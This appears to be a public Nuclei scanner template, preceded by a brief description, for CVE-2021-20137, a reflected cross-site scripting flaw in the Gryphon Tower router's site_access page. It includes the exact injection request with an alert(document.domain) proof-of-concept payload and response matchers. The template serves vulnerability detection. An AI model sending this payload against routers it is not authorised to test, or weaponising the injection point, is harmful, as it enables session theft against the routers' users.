Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
PoC代码[已公开]
id: CVE-2021-20137
info:
name: Gryphon Tower - Cross-Site Scripting
author: edoardottt
severity: medium
description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
- https://www.tenable.com/security/research/tra-2021-51
- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-20137
cwe-id: CWE-79
epss-score: 0.11461
epss-percentile: 0.93349
cpe: cpe:2.3:h:gryphonconnect:gryphon_tower:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gryphonconnect
product: gryphon_tower
tags: cve2021,cve,xss,tenable,gryphon,gryphonconnect
http:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- 'onfocus=alert(document.domain) autofocus=1>'
- 'Send Access Request URL'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100ca8b92f52e1e1ba3d21c0285f06efff7d6e77139ffaea23d9d48c09657a00727022100ff657a7c3d04ae9cab0be9df1c7ab1420841d43b17819e7c606dfa2265364c00:922c64590222798bb761d5b6d8e72950